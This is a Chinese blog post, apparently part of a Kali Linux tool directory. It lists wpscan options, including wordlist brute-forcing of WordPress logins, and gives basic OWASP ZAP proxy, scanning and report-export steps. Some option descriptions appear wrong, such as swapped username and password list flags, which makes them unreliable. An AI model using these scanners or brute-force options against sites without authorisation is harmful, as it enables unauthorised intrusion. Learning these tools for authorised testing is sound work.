wpscan是属于收费的,默认没有apikey的话,只能进行较为模糊的扫描。不过可以通过官网注册个账号,每天有25次免费调用的次数。

参数:

参数 说明
-h 帮助文档

  • -url 扫描站点
  • -update 更新版本
    -e vp 扫描插件漏洞
    -e ap 扫描所有插件
    -e p 扫描流行的插件
    -e vt 扫描主题漏洞
    -e at 扫描所有主题
    -e t 更新流行的主题
    -U 爆破指定的密码列表
    -P 爆破指定的用户名列表
  • -api-token token值 扫描主题、插件漏洞时,需要用到
参数说明
-h帮助文档
- -url扫描站点
- -update更新版本
-e vp扫描插件漏洞
-e ap扫描所有插件
-e p扫描流行的插件
-e vt扫描主题漏洞
-e at扫描所有主题
-e t更新流行的主题
-U爆破指定的密码列表
-P爆破指定的用户名列表
- -api-token token值扫描主题、插件漏洞时,需要用到

实例:

https://blog.csdn.net/guo15890025019/article/details/118548932

X

noene

Y

none

Z

zap

描述:

OWASP ZAP是一款非常好用的测试工具,也是Kali里自带的工具,一键就可以扫描多种不同类型的漏洞,最好用的一点就是他可以自动爬取子域名。非常的快捷方便下面我就给大家带来OWASP ZAP的基本使用方法Let’s go。

设置网络代理
使用ZAP之前我们要先设置一下网络代理,我们打开浏览器(本人用的是Kali自带的火狐浏览器),选择Preferences

参数:

设置网络代理
使用ZAP之前我们要先设置一下网络代理,我们打开浏览器(本人用的是Kali自带的火狐浏览器),选择Preferences

OWASP ZAP基本使用教程(Kali版)_菜单栏

之后我们找到Network Settings 点击 Setting进行网络代理的设置

OWASP ZAP基本使用教程(Kali版)_测试工具_02

点开之后我们设置我们的网络代理,由于zap默认的端口为8080,所以我们将端口设置为8080

Zap的基本应用

好的我们已经设置完网络代理啦,现在就可以使用我们的工具啦,如图点击。

OWASP ZAP基本使用教程(Kali版)_html_04

找个网站 http://xxxx.com 进行测试

OWASP ZAP基本使用教程(Kali版)_测试工具_05

导出报告

我们扫描完结果后如果想要导出结果的话,就可以在上面的菜单栏上选择Report,里面导出的格式有很多,我推荐使用HTML格式的,因为看起来比较直观。

OWASP ZAP基本使用教程(Kali版)_html_03

OWASP ZAP基本使用教程(Kali版)_菜单栏_06


kali全部软件介绍
http://example.com/kali全部软件介绍.html
Author
CDxiaodong
Posted on
August 26, 2022
Licensed under